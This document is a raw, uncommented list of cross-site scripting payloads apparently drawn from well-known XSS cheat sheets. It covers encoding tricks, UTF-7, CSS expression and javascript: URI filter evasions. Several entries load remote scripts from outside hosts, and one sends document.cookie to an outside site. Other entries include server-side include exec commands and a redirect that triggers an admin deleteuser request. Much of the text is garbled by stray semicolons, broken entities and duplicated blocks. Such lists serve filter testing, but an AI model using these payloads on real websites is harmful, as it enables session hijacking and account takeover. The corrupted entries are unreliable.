&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&a
mp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;
&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;
\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074
\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;
&lt;IMG
SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;
&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&a
mp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;

```

```
<HEAD><META HTTP-EQUIV="CONTENT-TYPE";
CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-
alert('XSS');+ADw-/SCRIPT+AD4-
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<STYLE>@import\ja\vasc\ript:alert('XSS')&apos;;</
STYLE>
<IMG SRC="jav&#x09;ascript:alert('XSS');">&
<IMG SRC="jav&#x09;ascript:alert('XSS');">&
<IMG SRC="jav&#x0A;ascript:alert('XSS');">&
<IMG SRC="jav&#x0D;ascript:alert('XSS');">&
<IMG&#x0D;SRC&#x0D;=&#x0D;"&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x
0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;
(&#x0D;'&#x0D;X&#x0D;S&#x0D;'&#x0D;)&#x0D;"&#x0D;&#x0D;>&#x0D;
;
perl -e &apos;print &quot;<IMG
SRC=java\script:alert('XSS')>&quot;;&apos;& out
perl -e &apos;print
&quot;&amp;<SCR\IPT>alert('XSS')</SCR\IPT>&quot;;&apos;
& out
<IMG SRC="&#14; javascript:alert('XSS');">&
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js">&lt;/SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/\]^`=alert('XSS')>
<SCRIPT SRC=http://ha.ckers.org/xss.js
<SCRIPT SRC="//ha.ckers.org/.j&
<IMG SRC="javascript:alert('XSS');">
<IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;
<&lt;SCRIPT>alert('XSS');&lt;&lt;/SCRIPT>
<IMG
&quot;&quot;&quot;&lt;&lt;SCRIPT>alert('XSS')</SCRIPT>&quot;&
gt;
<SCRIPT&gt;a=/XSS/
<SCRIPT a="&quot;&
SRC="http://ha.ckers.org/xss.js"&lt;&lt;/SCRIPT>
<SCRIPT ="blah"&
SRC="http://ha.ckers.org/xss.js"&lt;&lt;/SCRIPT>
<SCRIPT a="blah"&apos;&apos;
SRC="http://ha.ckers.org/xss.js"&lt;&lt;/SCRIPT>
<SCRIPT &quot;a="&apos;&quot;
SRC="http://ha.ckers.org/xss.js"&lt;&lt;/SCRIPT>
<SCRIPT a=`&
SRC="http://ha.ckers.org/xss.js"&lt;&lt;/SCRIPT>
<SCRIPT&gt;document.write('<SCRI&quot;');</SCRIPT>PT
SRC="http://ha.ckers.org/xss.js"&lt;&lt;/SCRIPT>
<SCRIPT a=">&apos;>&quot;
SRC="http://ha.ckers.org/xss.js"&lt;&lt;/SCRIPT>
<A HREF="http://66.102.7.147/"&lt;&lt;XSS&lt;/A&lt;
<A
HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&lt;&lt;XSS&lt;/
A&lt;
<A HREF="http://1113982867/"&lt;&lt;XSS&lt;/A&lt;
<A HREF="http://0x42.0x0000066.0x7.0x93/"&lt;&lt;XSS&lt;/A&lt;
<A HREF="http://0102.0146.0007.00000223/"&lt;&lt;XSS&lt;/A&lt;
<A
HREF="http://h&#x0A;tt&#09;p://6&amp;#09;6.000146.0x7.147/"&lt;&lt;XSS&lt;/A&lt;
<A HREF="http://www.google.com/"&lt;&lt;XSS&lt;/A&lt;
<A HREF="http://google&quot;&lt;&lt;XSS&lt;/A&lt;
<A HREF="http://ha.ckers.org@google&quot;&lt;&lt;XSS&lt;/A&lt;
<A HREF="http://google:ha.ckers.org&quot;&lt;&lt;XSS&lt;/A&lt;
<A HREF="http://google.com/"&lt;&lt;XSS&lt;/A&lt;
<A HREF="http://www.google.com./&quot;&lt;&lt;XSS&lt;/A&lt;
<A HREF="http://javascript:document.location="http://www.google.com/
&apos;&quot;&lt;&lt;XSS&lt;/A&lt;
<A HREF="http://www.gohttp://www.google.com/ogle.com/"&lt;&lt;XSS&lt;/
```

```

A&gt;
<script>document.vulnerable=true;</script>
<img SRC="jav ascript:document.vulnerable=true;">
<img SRC="javascript:document.vulnerable=true;">
<img SRC=" &#14; javascript:document.vulnerable=true;">
<body onload!#$%&()*~+-_.,:;?@[/\]\^`=document.vulnerable=true;>
<<SCRIPT>document.vulnerable=true;//<</SCRIPT>
<script <B>document.vulnerable=true;</script>
<SCRIPT>document.vulnerable=true;</script>
<input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
<body BACKGROUND="javascript:document.vulnerable=true;">
<body ONLOAD=document.vulnerable=true;>
<img DYNSRC="javascript:document.vulnerable=true;">
<img LOWSRC="javascript:document.vulnerable=true;">
<bgsound SRC="javascript:document.vulnerable=true;">
<br SIZE="{document.vulnerable=true}">
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
<link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
<style>li {list-style-image:
url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
<img SRC='vbscript:document.vulnerable=true;'>
1script3document.vulnerable=true;1/script3
<meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
<meta HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:document.vulnerable=true;">
<IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
<table BACKGROUND="javascript:document.vulnerable=true;">
<table><TD BACKGROUND="javascript:document.vulnerable=true;">
<div STYLE="background-image: url(javascript:document.vulnerable=true;)">
<div STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
<div STYLE="width: expression(document.vulnerable=true);">
<style>@im\port\'ja\vasc\rript:document.vulnerable=true';</style>
<img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
<XSS STYLE="xss:expression(document.vulnerable=true)">
exp/*<A
STYLE='no\xss:noxss("/*/*");xss:ex/*XSS*/*/*/*pression(document.vulnerable=true)
'>
<style TYPE="text/javascript">document.vulnerable=true;</style>
<style>.XSS{background-image:url("javascript:document.vulnerable=true");}</
STYLE><A CLASS=XSS></a>
<style
type="text/css">BODY{background:url("javascript:document.vulnerable=true");}</
style>
<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
<base HREF="javascript:document.vulnerable=true;//">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url
value=javascript:document.vulnerable=true></object>
<XML ID=I><X><C><![<IMG
SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I
DATAFLD=C DATAFORMATAS=HTML></span>
<XML ID="xss"><I><B><IMG SRC="javas<!--
-->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss"
DATAFLD="B" DATAFORMATAS="HTML"></span>
<html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?
import namespace="t" implementation="#default#time2"><t:set
attributeName="innerHTML" to="XSS<SCRIPT
DEFER>document.vulnerable=true</SCRIPT>"></BODY></html>
<? echo('<SCR');echo('<IPT>document.vulnerable=true</SCRIPT>'); ?>
<meta HTTP-EQUIV="Set-Cookie"

```



```

Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
<head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
<a href="javascript#document.vulnerable=true;">
<div onmouseover="document.vulnerable=true;">


<input type="image" dynsrc="javascript:document.vulnerable=true;">
<bgsound src="javascript:document.vulnerable=true;">
<script>document.vulnerable=true;</script>
&{document.vulnerable=true;};
<img src=&{document.vulnerable=true;};>
<link rel="stylesheet" href="javascript:document.vulnerable=true;">
<iframe src="vbscript:document.vulnerable=true;">


<a href="about:<script>document.vulnerable=true;</script>">
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
<body onload="document.vulnerable=true;">
<div style="background-image: url(javascript:document.vulnerable=true);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression(document.vulnerable=true);">
<style type="text/javascript">document.vulnerable=true;</style>
<object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
<style><!--</style><script>document.vulnerable=true;!--</script>
<<script>document.vulnerable=true;</script>
<![<!--]]<script>document.vulnerable=true;!--</script>
<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->

 onmouseover="document.vulnerable=true;">
<xml src="javascript:document.vulnerable=true;">
<xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
<style>@import'http://www.securitycompass.com/xss.css';</style>
<meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>;
REL=stylesheet">
<style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}
</style>
<OBJECT TYPE="text/x-scriptlet"
DATA="http://www.securitycompass.com/scriptlet.html"></object>
<HTML xmlns:xss><?import namespace="xss"
implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</
xss:xss></html>
<script SRC="http://www.securitycompass.com/xss.jpg"></script>
<!--#exec cmd="/bin/echo '<SCR'--><!--#exec cmd="/bin/echo 'IPT
SRC=http://www.securitycompass.com/xss.js"></SCRIPT>'-->
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" ' SRC="http://www.securitycompass.com/xss.js"></script>
<script "a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script>document.write("<SCRI");</SCRIPT>PT
SRC="http://www.securitycompass.com/xss.js"></script>
<div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
&quot;&gt;&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/\|
^`=alert("&quot;XSS&quot;)&gt;&lt;
&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
&lt;/br style=a:expression(alert())&gt;
&lt;/scriptipt&gt;alert(1)&lt;/scriptipt&gt;
&lt;/br size=&quot;&amp;{alert("&#039;XSS&#039;)}\&quot;&gt;
perl -e &#039;print \&quot;&lt;IMG SRC=java\0script:alert(\&quot;XSS&quot;)&gt;&lt;

```

```

\&quot;;&#039; &gt; out
perl -e &#039;print
\&quot;&lt;SCR\0IPT&gt;alert(\&quot;XSS\&quot;)&lt;/SCR\0IPT&gt;\&quot;;&#039;
&gt; out
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?
sid="%2bdocument.cookie)>
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS STYLE=xss:expression(alert('XSS'))>
"><script>alert('XSS')</script>
</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
XSS STYLE=xss:e/**/xpression(alert('XSS'))>
</XSS STYLE=xss:expression(alert('XSS'))>
';alert(String.fromCharCode(88,83,83))//
\'';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83)
)//\&quot;;alert(String.fromCharCode(88,83,83))//-->;</
SCRIPT>;";>;';>;<SCRIPT>;alert(String.fromCharCode(88,83,83))<\/SCRIPT>;
';!--";<XSS>;=&{()}
<\/SCRIPT>;alert(';XSS');<\/SCRIPT>;
<\/SCRIPT>;alert(String.fromCharCode(88,83,83))<\/SCRIPT>;
<BASE HREF="";javascript:alert(';XSS');");//>;
<BGSOUND SRC="";javascript:alert(';XSS');";>;
<BODY BACKGROUND="";javascript:alert(';XSS');";>;
<BODY ONLOAD=alert(';XSS');>;
<DIV STYLE=";background-image: url(javascript:alert(';XSS'))";>;
<DIV STYLE=";background-image: url(&#1;javascript:alert(';XSS'))";>;
<DIV STYLE=";width: expression(alert(';XSS'))";>;
<FRAMESET>;<FRAME SRC="";javascript:alert(';XSS');";>;<\/FRAMESET>;
<IFRAME SRC="";javascript:alert(';XSS');";>;<\/IFRAME>;
<INPUT TYPE=";IMAGE"; SRC="";javascript:alert(';XSS');";>;
<IMG SRC="";javascript:alert(';XSS');";>;
<IMG SRC=javascript:alert(';XSS');>;
<IMG DYN SRC="";javascript:alert(';XSS');";>;
<IMG LOW SRC="";javascript:alert(';XSS');";>;
<IMG SRC=";http://www.thesiteyouareon.com/somecommand.php?
somevariables=maliciouscode">;
Redirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser
exp/*<XSS STYLE=';no\xss:noxss(";*//*"););
<STYLE>;li {list-style-image:
url(";javascript:alert(&#39;XSS&#39;"););}<\/STYLE>;<UL>;<LI>;XSS
<IMG SRC=';vbscript:msgbox("XSS");'>;
<LAYER SRC=";http://ha.ckers.org/scriptlet.html";>;<\/LAYER>;
<IMG SRC=";livescript:[code]">;
%BCscript%BEalert(%A2XSS%A2)%BC/script%BE
<META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(';XSS');";>;
<META HTTP-EQUIV=";refresh";
CONTENT=";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K";
>;
<META HTTP-EQUIV=";refresh"; CONTENT=";0;
URL=http://;URL=javascript:alert(';XSS');";>;
<IMG SRC=";mocha:[code]">;
<OBJECT TYPE=";text/x-scriptlet";
DATA=";http://ha.ckers.org/scriptlet.html";>;<\/OBJECT>;
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<param name=url
value=javascript:alert(';XSS');>;<\/OBJECT>;
<EMBED SRC=";http://ha.ckers.org/xss.swf";
AllowScriptAccess=";always";>;<\/EMBED>;
a=";get";&#10;b=";URL(";"&#10;c=";javascript:";"&#10;d=";alert(';XSS');";
)"&#10;;eval(a+b+c+d);
<STYLE TYPE=";text/javascript">;alert(';XSS');<\/STYLE>;
<IMG STYLE=";xss:expr/*XSS*/ession(alert(';XSS'))">;
<XSS STYLE=";xss:expression(alert(';XSS'))">;

```

```

</STYLE>;.XSS{background-image:url(";javascript:alert(';XSS');");}</STYLE>;<A
CLASS=XSS>;</A>;
</STYLE type=";text/css";>;BODY{background:url(";javascript:alert(';XSS');");}
</STYLE>;
</LINK REL=";stylesheet"; HREF=";javascript:alert(';XSS');";>;
</LINK REL=";stylesheet"; HREF=";http://ha.ckers.org/xss.css";>;
</STYLE>;@import';http://ha.ckers.org/xss.css';</STYLE>;
</META HTTP-EQUIV=";Link"; Content=";<http://ha.ckers.org/xss.css>;
REL=stylesheet";>;
</STYLE>;BODY{-moz-binding:url(";http://ha.ckers.org/xssmoz.xml#xss");}</
STYLE>;
</TABLE BACKGROUND=";javascript:alert(';XSS');";>;</TABLE>;
</TABLE>;</TD BACKGROUND=";javascript:alert(';XSS');";>;</TD>;</TABLE>;
</HTML xmlns:xss>;
</XML ID=I>;</X>;</C>;<![CDATA[<IMG SRC=";javas]]>;<!--
[CDATA[cript:alert(';XSS');";>;]]>;
</XML ID=";xss";>;</I>;</B>;</IMG SRC=";javas<!-- --
>;cript:alert(';XSS');";>;</B>;</I>;</XML>;
</XML SRC=";http://ha.ckers.org/xsctest.xml"; ID=I>;</XML>;
</HTML>;</BODY>;
<!--[if gte IE 4]>;
</META HTTP-EQUIV=";Set-Cookie";
Content=";USERID=<SCRIPT>;alert(';XSS');</SCRIPT>;";>;
</XSS STYLE=";behavior: url(http://ha.ckers.org/xss.htc);">;
</SCRIPT SRC=";http://ha.ckers.org/xss.jpg";>;</SCRIPT>;
<!--#exec cmd=";/bin/echo ';<SCRIPT SRC='";-->;<!--#exec cmd=";/bin/echo
';=http://ha.ckers.org/xss.js>;</SCRIPT>;';";-->;
</? echo(';<SCR')>;
</BR SIZE=";&{alert(';XSS');}>;
</IMG SRC=JaVaScRiPt:alert(';XSS');>;
</IMG SRC=javascript:alert(&quot;XSS&quot;)>;
</IMG SRC=`javascript:alert(";RSnake says, ';XSS';");`>;
</IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>;
</IMG
RC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#9
7;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>;
</IMG
RC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000
105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000
116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>;
</DIV STYLE=";background-image:\0075\0072\006C\0028';
\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074
\0028.1027\0058.10530053\0027\0029';\0029">;
</IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x
6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>;
</HEAD>;</META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html;
charset=UTF-7">;</HEAD>;+ADw-SCRIPT+AD4-alert(';XSS');+ADw-/SCRIPT+AD4-
\>;alert(';XSS');>;//
</TITLE>;</SCRIPT>;alert("XSS");</SCRIPT>;
</STYLE>;@im\port';\ja\vasc\ript:alert(";XSS");>;</STYLE>;
</IMG SRC=";jav&#x09;ascript:alert(';XSS');";>;
</IMG SRC=";jav&#x09;ascript:alert(';XSS');";>;
</IMG SRC=";jav&#x0A;ascript:alert(';XSS');";>;
</IMG SRC=";jav&#x0D;ascript:alert(';XSS');";>;
</IMG&#x0D;SRC&#x0D;=&#x0D;"&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#
x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;&#x0D;'&#x0D
;X&#x0D;S&#x0D;S&#x0D;'&#x0D;)&#x0D;"&#x0D;>;&#x0D;
perl -e 'print "<IM SRC=java@script:alert(";XSS");>";';>; out
perl -e 'print "&#x0D;SCR\0IPT>;alert(";XSS");</SCR\0IPT>;";';>; out
</IMG SRC=";&#14; javascript:alert(';XSS');";>;
</SCRIPT/XSS SRC=";http://ha.ckers.org/xss.js";>;</SCRIPT>;
</BODY onload!#$%&()*~+-_.,:;?@[/\|^`=alert(";XSS");>;
</SCRIPT SRC=http://ha.ckers.org/xss.js

```

```

<;SCRIPT SRC=//ha.ckers.org/.j>;
<;IMG SRC=";javascript:alert('XSS');");
<;IFRAME SRC=http://ha.ckers.org/scriptlet.html <;
<;<;SCRIPT>;alert("XSS"););//<;<;/SCRIPT>;
<;IMG "';";>;<;SCRIPT>;alert("XSS");<;/SCRIPT>;";>;
<;SCRIPT>;a=/XSS/
<;SCRIPT a="';>;"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT a=";blah"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT a=";blah"; ' '; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT ";a='>;';" SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT a=`>;` SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT>;document.write("<;SCRI");<;/SCRIPT>;PT
SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT a=";>;'>;"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;A HREF=";http://66.102.7.147/">;>;XSS<;/A>;
<;A HREF=";http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">;>;XSS<;/A>;
<;A HREF=";http://1113982867/">;>;XSS<;/A>;
<;A HREF=";http://0x42.0x0000066.0x7.0x93/">;>;XSS<;/A>;
<;A HREF=";http://0102.0146.0007.00000223/">;>;XSS<;/A>;
<;A HREF=";h&#x0A;tt&#09;p://6&#09;6.000146.0x7.147/">;>;XSS<;/A>;
<;A HREF=";//www.google.com/">;>;XSS<;/A>;
<;A HREF=";//google">;>;XSS<;/A>;
<;A HREF=";http://ha.ckers.org@google">;>;XSS<;/A>;
<;A HREF=";http://google:ha.ckers.org">;>;XSS<;/A>;
<;A HREF=";http://google.com/">;>;XSS<;/A>;
<;A HREF=";http://www.google.com/">;>;XSS<;/A>;
<;A HREF=";javascript:document.location='http://www.google.com/'>;>;XSS<;/A>;
<;A HREF=";http://www.gohttp://www.google.com/ogle.com/">;>;XSS<;/A>;
<script>document.vulnerable=true;</script>
<img SRC="jav ascript:document.vulnerable=true;">
<img SRC="javascript:document.vulnerable=true;">
<img SRC=" &#14; javascript:document.vulnerable=true;">
<body onload!#$%&()*~+-_.,:;?@[/\ ]^`=document.vulnerable=true;>
<<SCRIPT>document.vulnerable=true;//<</SCRIPT>
<script <B>document.vulnerable=true;</script>
<SCRIPT>document.vulnerable=true;</script>
<input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
<body BACKGROUND="javascript:document.vulnerable=true;">
<body ONLOAD=document.vulnerable=true;>
<img DYNSRC="javascript:document.vulnerable=true;">
<img LOWSRC="javascript:document.vulnerable=true;">
<bgsound SRC="javascript:document.vulnerable=true;">
<br SIZE="{document.vulnerable=true}">
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
<link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
<style>li {list-style-image:
url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
<img SRC='vbscript:document.vulnerable=true;'>
1script3document.vulnerable=true;1/script3
<meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
<meta HTTP-EQUIV="refresh" CONTENT="0;
URL=http://;URL=javascript:document.vulnerable=true;">
<IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
<table BACKGROUND="javascript:document.vulnerable=true;">
<table><TD BACKGROUND="javascript:document.vulnerable=true;">
<div STYLE="background-image: url(javascript:document.vulnerable=true;)">
<div STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
<div STYLE="width: expression(document.vulnerable=true);">
<style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>

```

```

<img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
<XSS STYLE="xss:expression(document.vulnerable=true)">
exp/*<A
STYLE='no\xss:noxss("/*/*");xss:ex/*XSS*//**/*pression(document.vulnerable=true)
'>
<style TYPE="text/javascript">document.vulnerable=true;</style>
<style>.XSS{background-image:url("javascript:document.vulnerable=true");}</
STYLE><A CLASS=XSS></a>
<style
type="text/css">BODY{background:url("javascript:document.vulnerable=true");}</
style>
<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
<base HREF="javascript:document.vulnerable=true;//">
<OBJECT classid=clsid:ae24fdade-03c6-11d1-8b76-0080c744f389><param name=url
value=javascript:document.vulnerable=true></object>
<XML ID=I><X><C><![<IMG
SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I
DATAFLD=C DATAFORMATAS=HTML></span>
<XML ID="xss"><I><B><IMG SRC="javas<!--
-->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss"
DATAFLD="B" DATAFORMATAS="HTML"></span>
<html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?
import namespace="t" implementation="#default#time2"><t:set
attributeName="innerHTML" to="XSS<SCRIPT
DEFER>document.vulnerable=true</SCRIPT>"></BODY></html>
<? echo('<SCR)>';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
<meta HTTP-EQUIV="Set-Cookie"
Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
<head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
<a href="javascript#document.vulnerable=true;">
<div onmouseover="document.vulnerable=true;">


<input type="image" dynsrc="javascript:document.vulnerable=true;">
<bgsound src="javascript:document.vulnerable=true;">
<script>document.vulnerable=true;</script>
<{document.vulnerable=true;};
<img src=&{document.vulnerable=true;};>
<link rel="stylesheet" href="javascript:document.vulnerable=true;">
<iframe src="vbscript:document.vulnerable=true;">


<a href="about:<script>document.vulnerable=true;</script>">
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
<body onload="document.vulnerable=true;">
<div style="background-image: url(javascript:document.vulnerable=true;);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression(document.vulnerable=true;);">
<style type="text/javascript">document.vulnerable=true;</style>
<object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
<style><!--</style><script>document.vulnerable=true;//--></script>
<<script>document.vulnerable=true;</script>
<![<!--]]><script>document.vulnerable=true;//--></script>
<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->

 onmouseover="document.vulnerable=true;">
<xml src="javascript:document.vulnerable=true;">
<xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\\xC0][\\xBC]script>document.vulnerable=true;[\\xC0][\\xBC]/script>
<style>@import'http://www.securitycompass.com/xss.css';</style>
<meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>;

```

```

REL=stylesheet">
<style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}
</style>
<OBJECT TYPE="text/x-scriptlet"
DATA="http://www.securitycompass.com/scriptlet.html"></object>
<HTML xmlns:xss=?import namespace="xss"
implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</
xss:xss></html>
<script SRC="http://www.securitycompass.com/xss.jpg"></script>
<!--#exec cmd="/bin/echo '<SCR'--><!--#exec cmd="/bin/echo 'IPT
SRC=http://www.securitycompass.com/xss.js"></SCRIPT>'-->
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" ' SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script>document.write("<SCRI");</SCRIPT>PT
SRC="http://www.securitycompass.com/xss.js"></script>
<div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
";>;<BODY onload!#$%&()*~+-_.,:;?@[/\ ]^`=alert(";XSS");>;
</script>;<script>;alert(1)</script>;
</br style=a:expression(alert())>;
<script>;alert(1)</script>;
<br size="\";&{alert(&#039;XSS&#039;)}\";>;
perl -e &#039;print \";<IMG SRC=java\0script:alert(\";XSS\");>;\";&#039; >;
out
perl -e &#039;print \";<SCR\0IPT>;alert(\";XSS\");</SCR\0IPT>;\";&#039; >;
out
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?
sid="%2bdocument.cookie)>
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS STYLE=xss:expression(alert('XSS'))>
"><script>alert('XSS')</script>
</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
XSS STYLE=xss:e/**/xpression(alert('XSS'))>
</XSS STYLE=xss:expression(alert('XSS'))>
"><script>alert("XSS")</script>&
"><STYLE>@import"javascript:alert('XSS')";</STYLE>
>"><img%20src%3D%26%23x6a;
%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;
%26%23x74;%26%23x3a;alert(%26quot;
%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
>%22%27><img%20src%3D%22javascript:alert(%27%20XSS%27)%22>
'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
';!--"<XSS>=&{() }
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS<WBR>&quot;)>
<IMGSRC=&#106;&#97;&#118;&#97;&lt;WBR>#115;&#99;&#114;&#105;&#112;&lt;WBR>#116;&#58;
&#97;&#108;&#101;&lt;WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>&#83;&#39;&#41>
<IMGSRC=&#0000106&#0000097&lt;WBR>#0000118&#0000097&#0000115&lt;WBR>#0000099&#000011
4&#0000105&lt;WBR>#0000112&#0000116&#0000058&lt;WBR>#0000097&#0000108&#0000101&lt;WBR>
